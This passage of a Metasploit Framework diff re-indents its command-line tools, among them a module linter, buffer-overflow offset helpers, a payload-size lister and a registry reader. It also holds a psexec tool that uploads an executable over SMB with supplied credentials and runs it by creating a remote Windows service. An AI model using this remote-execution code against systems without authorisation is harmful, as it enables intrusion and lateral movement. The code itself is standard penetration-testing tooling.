=~ /'Name'[[:space:]]*=>[[:space:]]*['|"](.+)['|"]/ + # Now we're checking the module titlee + mod_title = $1 + mod_title.each_char do |c| + if badchars.include?(c) + error("'#{c}' is a bad character in module title.") + end + end + + if not mod_title.ascii_only? + error("Please avoid unicode or non-printable characters in module title.") + end + + # Since we're looking at the module title, this line clearly cannot be + # the author block, so no point to run more code below. + next + end + + # + # Mark our 'Author' block + # + if in_super and !in_author and line =~ /'Author'[[:space:]]*=>/ + in_author = true + elsif in_super and in_author and line =~ /\],*\n/ or line =~ /['"][[:print:]]*['"][[:space:]]*=>/ + in_author = false + end + + + # + # While in 'Author' block, check for Twitter handles + # + if in_super and in_author + if line =~ /Author/ + author_name = line.scan(/\[[[:space:]]*['"](.+)['"]/).flatten[-1] || '' + else + author_name = line.scan(/['"](.+)['"]/).flatten[-1] || '' + end + + if author_name =~ /^@.+$/ + error("No Twitter handles, please. Try leaving it in a comment instead.") + end + + if not author_name.ascii_only? + error("Please avoid unicode or non-printable characters in Author") + end + end + end + end + + def check_extname + if File.extname(@name) != '.rb' + error("Module should be a '.rb' file, or it won't load.") + end + end + + def test_old_rubies(f_rel) + return true unless CHECK_OLD_RUBIES + return true unless Object.const_defined? :RVM + puts "Checking syntax for #{f_rel}." + rubies ||= RVM.list_strings + res = %x{rvm all do ruby -c #{f_rel}}.split("\n").select {|msg| msg =~ /Syntax OK/} + error("Fails alternate Ruby version check") if rubies.size != res.size + end + + def check_ranking + return if @source !~ / \< Msf::Exploit/ + + available_ranks = [ + 'ManualRanking', + 'LowRanking', + 'AverageRanking', + 'NormalRanking', + 'GoodRanking', + 'GreatRanking', + 'ExcellentRanking' + ] + + if @source =~ /Rank \= (\w+)/ + if not available_ranks.include?($1) + error("Invalid ranking. You have '#{$1}'") + end + end + end + + def check_disclosure_date + return if @source =~ /Generic Payload Handler/ or @source !~ / \< Msf::Exploit/ + + # Check disclosure date format + if @source =~ /'DisclosureDate'.*\=\>[\x0d\x20]*['\"](.+)['\"]/ + d = $1 #Captured date + # Flag if overall format is wrong + if d =~ /^... \d{1,2}\,* \d{4}/ + # Flag if month format is wrong + m = d.split[0] + months = [ + 'Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', + 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec' + ] + + error('Incorrect disclosure month format') if months.index(m).nil? + else + error('Incorrect disclosure date format') + end + else + error('Exploit is missing a disclosure date') + end + end + + def check_title_casing + if @source =~ /'Name'[[:space:]]*=>[[:space:]]*['"](.+)['"],*$/ + words = $1.split + words.each do |word| + if %w{and or the for to in of as with a an on at via}.include?(word) + next + elsif %w{pbot}.include?(word) + elsif word =~ /^[a-z]+$/ + warn("Suspect capitalization in module title: '#{word}'") + end + end + end + end + + def check_bad_terms + # "Stack overflow" vs "Stack buffer overflow" - See explanation: + # http://blogs.technet.com/b/srd/archive/2009/01/28/stack-overflow-stack-exhaustion-not-the-same-as-stack-buffer-overflow.aspx + if @source =~ /class Metasploit\d < Msf::Exploit::Remote/ and @source.gsub("\n", "") =~ /stack[[:space:]]+overflow/i + warn('Contains "stack overflow" You mean "stack buffer overflow"?') + elsif @source =~ /class Metasploit\d < Msf::Auxiliary/ and @source.gsub("\n", "") =~ /stack[[:space:]]+overflow/i + warn('Contains "stack overflow" You mean "stack exhaustion"?') + end + end + + def check_function_basics + functions = @source.scan(/def (\w+)\(*(.+)\)*/) + + functions.each do |func_name, args| + # Check argument length + args_length = args.split(",").length + warn("Poorly designed argument list in '#{func_name}()'. Try a hash.") if args_length > 6 + end + end + + def check_lines + url_ok = true + no_stdio = true + in_comment = false + in_literal = false + src_ended = false + idx = 0 + + @source.each_line { |ln| + idx += 1 + + # block comment awareness + if ln =~ /^=end$/ + in_comment = false + next + end + in_comment = true if ln =~ /^=begin$/ + next if in_comment + + # block string awareness (ignore indentation in these) + in_literal = false if ln =~ /^EOS$/ + next if in_literal + in_literal = true if ln =~ /\<\<-EOS$/ + + # ignore stuff after an __END__ line + src_ended = true if ln =~ /^__END__$/ + next if src_ended + + if ln =~ /[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]/ + error("Unicode detected: #{ln.inspect}", idx) + end + + if (ln.length > LONG_LINE_LENGTH) + warn("Line exceeding #{LONG_LINE_LENGTH.to_s} bytes", idx) + end + + if ln =~ /[ \t]$/ + warn("Spaces at EOL", idx) + end + + # Allow tabs or spaces as indent characters, but not both. + # This should check for spaces only on October 8, 2013 + if (ln.length > 1) and (ln =~ /^([\t ]*)/) and ($1.match(/\x20\x09|\x09\x20/)) + warn("Space-Tab mixed indent: #{ln.inspect}", idx) + end + + if ln =~ /\r$/ + warn("Carriage return EOL", idx) + end + + url_ok = false if ln =~ /\.com\/projects\/Framework/ + if ln =~ /File\.open/ and ln =~ /[\"\'][arw]/ + if not ln =~ /[\"\'][wra]\+?b\+?[\"\']/ + warn("File.open without binary mode", idx) + end + end + + if ln =~/^[ \t]*load[ \t]+[\x22\x27]/ + error("Loading (not requiring) a file: #{ln.inspect}", idx) + end + + # The rest of these only count if it's not a comment line + next if ln =~ /[[:space:]]*#/ + + if ln =~ /\$std(?:out|err)/i or ln =~ /[[:space:]]puts/ + no_stdio = false + error("Writes to stdout", idx) + end + + # do not change datastore in code + if ln =~ /(?])/ + error("datastore is modified in code: #{ln.inspect}", idx) + end + } + end + + private + + def load_file(file) + f = open(file, 'rb') + buf = f.read(f.stat.size) + f.close + return buf + end end def run_checks(f_rel) - tidy = Msftidy.new(f_rel) - tidy.check_ref_identifiers - tidy.check_old_keywords - tidy.check_verbose_option - tidy.check_badchars - tidy.check_extname - tidy.test_old_rubies(f_rel) - tidy.check_ranking - tidy.check_disclosure_date - tidy.check_title_casing - tidy.check_bad_terms - tidy.check_function_basics - tidy.check_lines + tidy = Msftidy.new(f_rel) + tidy.check_ref_identifiers + tidy.check_old_keywords + tidy.check_verbose_option + tidy.check_badchars + tidy.check_extname + tidy.test_old_rubies(f_rel) + tidy.check_ranking + tidy.check_disclosure_date + tidy.check_title_casing + tidy.check_bad_terms + tidy.check_function_basics + tidy.check_lines tidy.check_snake_case_filename end @@ -433,37 +433,37 @@ def run_checks(f_rel) dirs = ARGV if dirs.length < 1 - $stderr.puts "Usage: #{File.basename(__FILE__)} " - exit(1) + $stderr.puts "Usage: #{File.basename(__FILE__)} " + exit(1) end dirs.each { |dir| - f = nil - old_dir = nil - - if dir - if File.file?(dir) - # whoa, a single file! - f = File.basename(dir) - dir = File.dirname(dir) - end - - old_dir = Dir.getwd - Dir.chdir(dir) - dparts = dir.split('/') - else - dparts = [] - end - - # Only one file? - if f - run_checks(f) - else - # Do a recursive check of the specified directory - Dir.glob('**/*.rb') { |f| - run_checks(f) - } - end - - Dir.chdir(old_dir) + f = nil + old_dir = nil + + if dir + if File.file?(dir) + # whoa, a single file! + f = File.basename(dir) + dir = File.dirname(dir) + end + + old_dir = Dir.getwd + Dir.chdir(dir) + dparts = dir.split('/') + else + dparts = [] + end + + # Only one file? + if f + run_checks(f) + else + # Do a recursive check of the specified directory + Dir.glob('**/*.rb') { |f| + run_checks(f) + } + end + + Dir.chdir(old_dir) } diff --git a/tools/nasm_shell.rb b/tools/nasm_shell.rb index 24a4f57db506..850bda115415 100755 --- a/tools/nasm_shell.rb +++ b/tools/nasm_shell.rb @@ -11,7 +11,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -25,10 +25,10 @@ # Check to make sure nasm is installed and reachable through the user's PATH. begin - Rex::Assembly::Nasm.check + Rex::Assembly::Nasm.check rescue RuntimeError - puts "#{$!}" - exit + puts "#{$!}" + exit end bits = ARGV.length > 0 ? ARGV[0].to_i : 32 @@ -43,15 +43,15 @@ shell.init_ui(Rex::Ui::Text::Input::Stdio.new, Rex::Ui::Text::Output::Stdio.new) shell.run { |line| - line.gsub!(/(\r|\n)/, '') - line.gsub!(/\\n/, "\n") + line.gsub!(/(\r|\n)/, '') + line.gsub!(/\\n/, "\n") - break if (line =~ /^(exit|quit)/i) + break if (line =~ /^(exit|quit)/i) - begin - puts(Rex::Assembly::Nasm.disassemble( - Rex::Assembly::Nasm.assemble(line, bits), bits)) - rescue RuntimeError - puts "Error: #{$!}" - end + begin + puts(Rex::Assembly::Nasm.disassemble( + Rex::Assembly::Nasm.assemble(line, bits), bits)) + rescue RuntimeError + puts "Error: #{$!}" + end } diff --git a/tools/pattern_create.rb b/tools/pattern_create.rb index 4974845bb5ce..b177bd221953 100755 --- a/tools/pattern_create.rb +++ b/tools/pattern_create.rb @@ -6,7 +6,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -18,8 +18,8 @@ require 'rex' if (!(length = ARGV.shift)) - $stderr.puts("Usage: #{File.basename($0)} length [set a] [set b] [set c]\n") - exit + $stderr.puts("Usage: #{File.basename($0)} length [set a] [set b] [set c]\n") + exit end # If the user supplied custom sets, use those. Otherwise, use the default diff --git a/tools/pattern_offset.rb b/tools/pattern_offset.rb index f33e3a6306ac..6cd69bf79f24 100755 --- a/tools/pattern_offset.rb +++ b/tools/pattern_offset.rb @@ -4,7 +4,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -16,10 +16,10 @@ require 'rex' if ARGV.length < 1 - $stderr.puts("Usage: #{File.basename($0)} ") - $stderr.puts("Default length of buffer if none is inserted: 8192") - $stderr.puts("This buffer is generated by pattern_create() in the Rex library automatically") - exit + $stderr.puts("Usage: #{File.basename($0)} ") + $stderr.puts("Default length of buffer if none is inserted: 8192") + $stderr.puts("This buffer is generated by pattern_create() in the Rex library automatically") + exit end value = ARGV.shift @@ -63,13 +63,13 @@ # The normal format is a full hexadecimal value: 0x41424344 if (value.length >= 8 and value.hex > 0) - value = value.hex + value = value.hex # However, you can also specify a four-byte string elsif (value.length == 4) - value = value.unpack("V").first + value = value.unpack("V").first else # Or even a hex value that isn't 8 bytes long - value = value.to_i(16) + value = value.to_i(16) end buffer = Rex::Text.pattern_create(len.to_i) @@ -77,48 +77,48 @@ # Handle cases where there is no match by looking for "close" matches unless offset - found = false - $stderr.puts "[*] No exact matches, looking for likely candidates..." - - # Look for shifts by a single byte - 0.upto(3) do |idx| - 0.upto(255) do |c| - nvb = [value].pack("V") - nvb[idx, 1] = [c].pack("C") - nvi = nvb.unpack("V").first - - off = Rex::Text.pattern_offset(buffer, nvi) - if off - mle = value - buffer[off,4].unpack("V").first - mbe = value - buffer[off,4].unpack("N").first - puts "[+] Possible match at offset #{off} (adjusted [ little-endian: #{mle} | big-endian: #{mbe} ] ) byte offset #{idx}" - found = true - end - end - end - - exit if found - - # Look for 16-bit offsets - [0, 2].each do |idx| - 0.upto(65535) do |c| - nvb = [value].pack("V") - nvb[idx, 2] = [c].pack("v") - nvi = nvb.unpack("V").first - - off = Rex::Text.pattern_offset(buffer, nvi) - if off - mle = value - buffer[off,4].unpack("V").first - mbe = value - buffer[off,4].unpack("N").first - puts "[+] Possible match at offset #{off} (adjusted [ little-endian: #{mle} | big-endian: #{mbe} ] )" - found = true - end - end - end + found = false + $stderr.puts "[*] No exact matches, looking for likely candidates..." + + # Look for shifts by a single byte + 0.upto(3) do |idx| + 0.upto(255) do |c| + nvb = [value].pack("V") + nvb[idx, 1] = [c].pack("C") + nvi = nvb.unpack("V").first + + off = Rex::Text.pattern_offset(buffer, nvi) + if off + mle = value - buffer[off,4].unpack("V").first + mbe = value - buffer[off,4].unpack("N").first + puts "[+] Possible match at offset #{off} (adjusted [ little-endian: #{mle} | big-endian: #{mbe} ] ) byte offset #{idx}" + found = true + end + end + end + + exit if found + + # Look for 16-bit offsets + [0, 2].each do |idx| + 0.upto(65535) do |c| + nvb = [value].pack("V") + nvb[idx, 2] = [c].pack("v") + nvi = nvb.unpack("V").first + + off = Rex::Text.pattern_offset(buffer, nvi) + if off + mle = value - buffer[off,4].unpack("V").first + mbe = value - buffer[off,4].unpack("N").first + puts "[+] Possible match at offset #{off} (adjusted [ little-endian: #{mle} | big-endian: #{mbe} ] )" + found = true + end + end + end end while offset - puts "[*] Exact match at offset #{offset}" - offset = Rex::Text.pattern_offset(buffer, value, offset + 1) + puts "[*] Exact match at offset #{offset}" + offset = Rex::Text.pattern_offset(buffer, value, offset + 1) end diff --git a/tools/payload_lengths.rb b/tools/payload_lengths.rb index f0ba8653ee36..06ac4d24f85c 100755 --- a/tools/payload_lengths.rb +++ b/tools/payload_lengths.rb @@ -9,7 +9,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -26,8 +26,8 @@ # Initialize the simplified framework instance. $framework = Msf::Simple::Framework.create( - :module_types => [ Msf::MODULE_PAYLOAD ], - 'DisableDatabase' => true + :module_types => [ Msf::MODULE_PAYLOAD ], + 'DisableDatabase' => true ) # Process special var/val pairs... @@ -36,47 +36,47 @@ options = ARGV.join(',') tbl = Rex::Ui::Text::Table.new( - 'Header' => 'Payload Lengths', - 'Indent' => Indent.length, - 'Columns' => [ 'Payload', 'Length' ] + 'Header' => 'Payload Lengths', + 'Indent' => Indent.length, + 'Columns' => [ 'Payload', 'Length' ] ) enc = nil $framework.payloads.each_module { |payload_name, mod| - len = 'Error: Unknown error!' - - begin - # Create the payload instance - payload = mod.new - raise "Invalid payload" if not payload - - # Set the variables from the cmd line - payload.datastore.import_options_from_s(options) - - # Skip non-specified architectures - if (ds_arch = payload.datastore['ARCH']) - next if not payload.arch?(ds_arch) - end - - # Skip non-specified platforms - if (ds_plat = payload.datastore['PLATFORM']) - ds_plat = Msf::Module::PlatformList.transform(ds_plat) - next if not payload.platform.supports?(ds_plat) - end - - len = payload.size - if len > 0 - len = len.to_s - else - len = "Error: Empty payload" - end - rescue - len = "Error: #{$!}" - end - - tbl << [ payload_name, len ] + len = 'Error: Unknown error!' + + begin + # Create the payload instance + payload = mod.new + raise "Invalid payload" if not payload + + # Set the variables from the cmd line + payload.datastore.import_options_from_s(options) + + # Skip non-specified architectures + if (ds_arch = payload.datastore['ARCH']) + next if not payload.arch?(ds_arch) + end + + # Skip non-specified platforms + if (ds_plat = payload.datastore['PLATFORM']) + ds_plat = Msf::Module::PlatformList.transform(ds_plat) + next if not payload.platform.supports?(ds_plat) + end + + len = payload.size + if len > 0 + len = len.to_s + else + len = "Error: Empty payload" + end + rescue + len = "Error: #{$!}" + end + + tbl << [ payload_name, len ] } puts tbl.to_s diff --git a/tools/pdf2xdp.rb b/tools/pdf2xdp.rb index 514ad98d194d..4428c17c6b79 100755 --- a/tools/pdf2xdp.rb +++ b/tools/pdf2xdp.rb @@ -13,22 +13,22 @@ xdp = ARGV.shift if ! xdp then - STDERR.puts " Usage: #{$0} input.pdf output.xdp" - exit 1 + STDERR.puts " Usage: #{$0} input.pdf output.xdp" + exit 1 end pdf_content = begin - File.read(pdf) + File.read(pdf) rescue - STDERR.puts "Could not read input PDF file: #{$!}" - exit 2 + STDERR.puts "Could not read input PDF file: #{$!}" + exit 2 end xdp_out = begin - open xdp, 'w' + open xdp, 'w' rescue - STDERR.puts "Could not open output XDP file: #{$!}" - exit 3 + STDERR.puts "Could not open output XDP file: #{$!}" + exit 3 end xdp_out.print '' diff --git a/tools/psexec.rb b/tools/psexec.rb index b5e1bec8be7a..1e6d152d915f 100755 --- a/tools/psexec.rb +++ b/tools/psexec.rb @@ -6,7 +6,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -39,51 +39,51 @@ def print_error(msg) - $stderr.puts "[-] #{msg}" + $stderr.puts "[-] #{msg}" end def print_status(msg) - $stderr.puts "[+] #{msg}" + $stderr.puts "[+] #{msg}" end def print_lines(msg) - $stderr.puts "[+] #{msg}" + $stderr.puts "[+] #{msg}" end def usage - $stderr.puts "#{$0} [host] [exe] [user] [pass]" - exit(0) + $stderr.puts "#{$0} [host] [exe] [user] [pass]" + exit(0) end def dcerpc_handle(uuid, version, protocol, opts, rhost) - Rex::Proto::DCERPC::Handle.new([uuid, version], protocol, rhost, opts) + Rex::Proto::DCERPC::Handle.new([uuid, version], protocol, rhost, opts) end def dcerpc_bind(handle, csocket, csimple, cuser, cpass) - opts = { } - opts['connect_timeout'] = 10 - opts['read_timeout'] = 10 - opts['smb_user'] = cuser - opts['smb_pass'] = cpass - opts['frag_size'] = 512 - opts['smb_client'] = csimple - - Rex::Proto::DCERPC::Client.new(handle, csocket, opts) - end + opts = { } + opts['connect_timeout'] = 10 + opts['read_timeout'] = 10 + opts['smb_user'] = cuser + opts['smb_pass'] = cpass + opts['frag_size'] = 512 + opts['smb_client'] = csimple + + Rex::Proto::DCERPC::Client.new(handle, csocket, opts) + end def dcerpc_call(function, stub = '', timeout=nil, do_recv=true) - otimeout = dcerpc.options['read_timeout'] - - begin - dcerpc.options['read_timeout'] = timeout if timeout - dcerpc.call(function, stub, do_recv) - rescue ::Rex::Proto::SMB::Exceptions::NoReply, Rex::Proto::DCERPC::Exceptions::NoResponse - print_status("The DCERPC service did not reply to our request") - return - ensure - dcerpc.options['read_timeout'] = otimeout - end + otimeout = dcerpc.options['read_timeout'] + + begin + dcerpc.options['read_timeout'] = timeout if timeout + dcerpc.call(function, stub, do_recv) + rescue ::Rex::Proto::SMB::Exceptions::NoReply, Rex::Proto::DCERPC::Exceptions::NoResponse + print_status("The DCERPC service did not reply to our request") + return + ensure + dcerpc.options['read_timeout'] = otimeout + end end @@ -104,35 +104,35 @@ def dcerpc_call(function, stub = '', timeout=nil, do_recv=true) simple = Rex::Proto::SMB::SimpleClient.new(socket, opt_port.to_i == 445) simple.login( - Rex::Text.rand_text_alpha(8), - opt_user, - opt_pass, - opt_domain - #datastore['SMB::VerifySignature'], - #datastore['NTLM::UseNTLMv2'], - #datastore['NTLM::UseNTLM2_session'], - #datastore['NTLM::SendLM'], - #datastore['NTLM::UseLMKey'], - #datastore['NTLM::SendNTLM'], - #datastore['SMB::Native_OS'], - #datastore['SMB::Native_LM'], - #{:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost} + Rex::Text.rand_text_alpha(8), + opt_user, + opt_pass, + opt_domain + #datastore['SMB::VerifySignature'], + #datastore['NTLM::UseNTLMv2'], + #datastore['NTLM::UseNTLM2_session'], + #datastore['NTLM::SendLM'], + #datastore['NTLM::UseLMKey'], + #datastore['NTLM::SendNTLM'], + #datastore['SMB::Native_OS'], + #datastore['SMB::Native_LM'], + #{:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost} ) simple.connect("\\\\#{opt_host}\\IPC$") if (not simple.client.auth_user) - print_line(" ") - print_error( - "FAILED! The remote host has only provided us with Guest privileges. " + - "Please make sure that the correct username and password have been provided. " + - "Windows XP systems that are not part of a domain will only provide Guest privileges " + - "to network logins by default." - ) - print_line(" ") - exit(1) + print_line(" ") + print_error( + "FAILED! The remote host has only provided us with Guest privileges. " + + "Please make sure that the correct username and password have been provided. " + + "Windows XP systems that are not part of a domain will only provide Guest privileges " + + "to network logins by default." + ) + print_line(" ") + exit(1) end - + fname = Rex::Text.rand_text_alpha(8) + ".exe" sname = Rex::Text.rand_text_alpha(8) @@ -146,7 +146,7 @@ def dcerpc_call(function, stub = '', timeout=nil, do_recv=true) fd = simple.open("\\#{fname}", 'rwct', 500) File.open(opt_path, "rb") do |efd| - fd << efd.read + fd << efd.read end fd.close @@ -172,17 +172,17 @@ def dcerpc_call(function, stub = '', timeout=nil, do_recv=true) print_status("Obtaining a service manager handle...") scm_handle = nil stubdata = - NDR.uwstring("\\\\#{opt_host}") + - NDR.long(0) + - NDR.long(0xF003F) + NDR.uwstring("\\\\#{opt_host}") + + NDR.long(0) + + NDR.long(0xF003F) begin - response = dcerpc.call(0x0f, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - scm_handle = dcerpc.last_response.stub_data[0,20] - end + response = dcerpc.call(0x0f, stubdata) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + scm_handle = dcerpc.last_response.stub_data[0,20] + end rescue ::Exception => e - print_error("Error: #{e}") - return + print_error("Error: #{e}") + return end @@ -198,31 +198,31 @@ def dcerpc_call(function, stub = '', timeout=nil, do_recv=true) print_status("Creating a new service (#{sname} - \"#{displayname}\")...") stubdata = - scm_handle + - NDR.wstring(sname) + - NDR.uwstring(displayname) + - - NDR.long(0x0F01FF) + # Access: MAX - NDR.long(0x00000110) + # Type: Interactive, Own process - NDR.long(0x00000003) + # Start: Demand - NDR.long(0x00000000) + # Errors: Ignore - NDR.wstring( file_location ) + # Binary Path - NDR.long(0) + # LoadOrderGroup - NDR.long(0) + # Dependencies - NDR.long(0) + # Service Start - NDR.long(0) + # Password - NDR.long(0) + # Password - NDR.long(0) + # Password - NDR.long(0) # Password + scm_handle + + NDR.wstring(sname) + + NDR.uwstring(displayname) + + + NDR.long(0x0F01FF) + # Access: MAX + NDR.long(0x00000110) + # Type: Interactive, Own process + NDR.long(0x00000003) + # Start: Demand + NDR.long(0x00000000) + # Errors: Ignore + NDR.wstring( file_location ) + # Binary Path + NDR.long(0) + # LoadOrderGroup + NDR.long(0) + # Dependencies + NDR.long(0) + # Service Start + NDR.long(0) + # Password + NDR.long(0) + # Password + NDR.long(0) + # Password + NDR.long(0) # Password begin - response = dcerpc.call(0x0c, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - svc_handle = dcerpc.last_response.stub_data[0,20] - svc_status = dcerpc.last_response.stub_data[24,4] - end + response = dcerpc.call(0x0c, stubdata) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + svc_handle = dcerpc.last_response.stub_data[0,20] + svc_status = dcerpc.last_response.stub_data[24,4] + end rescue ::Exception => e - print_error("Error: #{e}") - exit(1) + print_error("Error: #{e}") + exit(1) end ## @@ -230,7 +230,7 @@ def dcerpc_call(function, stub = '', timeout=nil, do_recv=true) ## print_status("Closing service handle...") begin - response = dcerpc.call(0x0, svc_handle) + response = dcerpc.call(0x0, svc_handle) rescue ::Exception end @@ -239,18 +239,18 @@ def dcerpc_call(function, stub = '', timeout=nil, do_recv=true) ## print_status("Opening service...") begin - stubdata = - scm_handle + - NDR.wstring(sname) + - NDR.long(0xF01FF) - - response = dcerpc.call(0x10, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - svc_handle = dcerpc.last_response.stub_data[0,20] - end + stubdata = + scm_handle + + NDR.wstring(sname) + + NDR.long(0xF01FF) + + response = dcerpc.call(0x10, stubdata) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + svc_handle = dcerpc.last_response.stub_data[0,20] + end rescue ::Exception => e - print_error("Error: #{e}") - exit(1) + print_error("Error: #{e}") + exit(1) end ## @@ -258,14 +258,14 @@ def dcerpc_call(function, stub = '', timeout=nil, do_recv=true) ## print_status("Starting the service...") stubdata = - svc_handle + - NDR.long(0) + - NDR.long(0) + svc_handle + + NDR.long(0) + + NDR.long(0) begin - response = dcerpc.call(0x13, stubdata) + response = dcerpc.call(0x13, stubdata) rescue ::Exception => e - print_error("Error: #{e}") - exit(1) + print_error("Error: #{e}") + exit(1) end # @@ -274,11 +274,11 @@ def dcerpc_call(function, stub = '', timeout=nil, do_recv=true) print_status("Removing the service...") stubdata = svc_handle begin - response = dcerpc.call(0x02, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - end + response = dcerpc.call(0x02, stubdata) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + end rescue ::Exception => e - print_error("Error: #{e}") + print_error("Error: #{e}") end ## @@ -286,19 +286,19 @@ def dcerpc_call(function, stub = '', timeout=nil, do_recv=true) ## print_status("Closing service handle...") begin - response = dcerpc.call(0x0, svc_handle) + response = dcerpc.call(0x0, svc_handle) rescue ::Exception => e - print_error("Error: #{e}") + print_error("Error: #{e}") end begin - print_status("Deleting \\#{fname}...") - select(nil, nil, nil, 1.0) - simple.connect(smbshare) - simple.delete("\\#{fname}") + print_status("Deleting \\#{fname}...") + select(nil, nil, nil, 1.0) + simple.connect(smbshare) + simple.delete("\\#{fname}") rescue ::Interrupt - raise $! + raise $! rescue ::Exception - #raise $! + #raise $! end diff --git a/tools/reg.rb b/tools/reg.rb index ae53f0fc544e..63880edd5d27 100755 --- a/tools/reg.rb +++ b/tools/reg.rb @@ -9,7 +9,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -23,96 +23,96 @@ require 'rex/registry/hive' def print_all(nodekey) - print_all_keys(nodekey) - print_all_values(nodekey) + print_all_keys(nodekey) + print_all_values(nodekey) end def print_all_keys(nodekey) - return if !nodekey - return if !nodekey.lf_record - return if !nodekey.lf_record.children - return if nodekey.lf_record.children.length == 0 + return if !nodekey + return if !nodekey.lf_record + return if !nodekey.lf_record.children + return if nodekey.lf_record.children.length == 0 table = Rex::Ui::Text::Table.new( - 'Header' => "Child Keys for #{nodekey.full_path}", - 'Indent' => ' '.length, - 'Columns' => [ 'Name', 'Last Edited', 'Subkey Count', 'Value Count' ] - ) - - if nodekey.lf_record && nodekey.lf_record.children && nodekey.lf_record.children.length > 0 - nodekey.lf_record.children.each do |key| - table << [key.name, key.readable_timestamp, key.subkeys_count, key.value_count] - end - end - - puts table.to_s - end - - def print_all_values(nodekey) - - return if !nodekey - return if !nodekey.lf_record - return if !nodekey.lf_record.children - return if nodekey.lf_record.children.length == 0 - - table = Rex::Ui::Text::Table.new( - 'Header' => "Values in key #{nodekey.full_path}", - 'Indent' => ' '.length, - 'Columns' => ['Name','Value Type', 'Value'] - ) - if nodekey.value_list && nodekey.value_list.values.length > 0 - nodekey.value_list.values.each do |value| - table << [value.name, value.readable_value_type, value.value.data] - end - end - - puts table.to_s + 'Header' => "Child Keys for #{nodekey.full_path}", + 'Indent' => ' '.length, + 'Columns' => [ 'Name', 'Last Edited', 'Subkey Count', 'Value Count' ] + ) + + if nodekey.lf_record && nodekey.lf_record.children && nodekey.lf_record.children.length > 0 + nodekey.lf_record.children.each do |key| + table << [key.name, key.readable_timestamp, key.subkeys_count, key.value_count] + end + end + + puts table.to_s + end + + def print_all_values(nodekey) + + return if !nodekey + return if !nodekey.lf_record + return if !nodekey.lf_record.children + return if nodekey.lf_record.children.length == 0 + + table = Rex::Ui::Text::Table.new( + 'Header' => "Values in key #{nodekey.full_path}", + 'Indent' => ' '.length, + 'Columns' => ['Name','Value Type', 'Value'] + ) + if nodekey.value_list && nodekey.value_list.values.length > 0 + nodekey.value_list.values.each do |value| + table << [value.name, value.readable_value_type, value.value.data] + end + end + + puts table.to_s end def get_system_information - if @hive.hive_name =~ /SYSTEM/ - mounted_devices_info_key = @hive.relative_query("\\MountedDevices") + if @hive.hive_name =~ /SYSTEM/ + mounted_devices_info_key = @hive.relative_query("\\MountedDevices") - current_control_set_key = @hive.value_query('\Select\Default') - current_control_set = "ControlSet00" + current_control_set_key.value.data.unpack('c').first.to_s if current_control_set_key + current_control_set_key = @hive.value_query('\Select\Default') + current_control_set = "ControlSet00" + current_control_set_key.value.data.unpack('c').first.to_s if current_control_set_key - computer_name_key = @hive.value_query("\\" + current_control_set + "\\Control\\ComputerName\\ComputerName") if current_control_set - computer_name = computer_name_key.value.data.to_s if computer_name_key + computer_name_key = @hive.value_query("\\" + current_control_set + "\\Control\\ComputerName\\ComputerName") if current_control_set + computer_name = computer_name_key.value.data.to_s if computer_name_key - event_log_info_key = @hive.relative_query("\\" + current_control_set + "\\Services\\EventLog") if current_control_set + event_log_info_key = @hive.relative_query("\\" + current_control_set + "\\Services\\EventLog") if current_control_set - puts "Computer Name: " + computer_name if computer_name + puts "Computer Name: " + computer_name if computer_name - print_all_values(event_log_info_key) if event_log_info_key - puts "-----------------------------------------" if event_log_info_key + print_all_values(event_log_info_key) if event_log_info_key + puts "-----------------------------------------" if event_log_info_key - print_all_values(mounted_devices_info_key) if mounted_devices_info_key - puts "-----------------------------------------" if mounted_devices_info_key + print_all_values(mounted_devices_info_key) if mounted_devices_info_key + puts "-----------------------------------------" if mounted_devices_info_key - elsif @hive.hive_name =~ /SOFTWARE/ - current_version_info_key = @hive.relative_query("\\Microsoft\\Windows NT\\CurrentVersion") - login_info_key = @hive.relative_query("\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon") + elsif @hive.hive_name =~ /SOFTWARE/ + current_version_info_key = @hive.relative_query("\\Microsoft\\Windows NT\\CurrentVersion") + login_info_key = @hive.relative_query("\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon") - print_all_values(current_version_info_key) - puts "-----------------------------------------" if current_version_info_key + 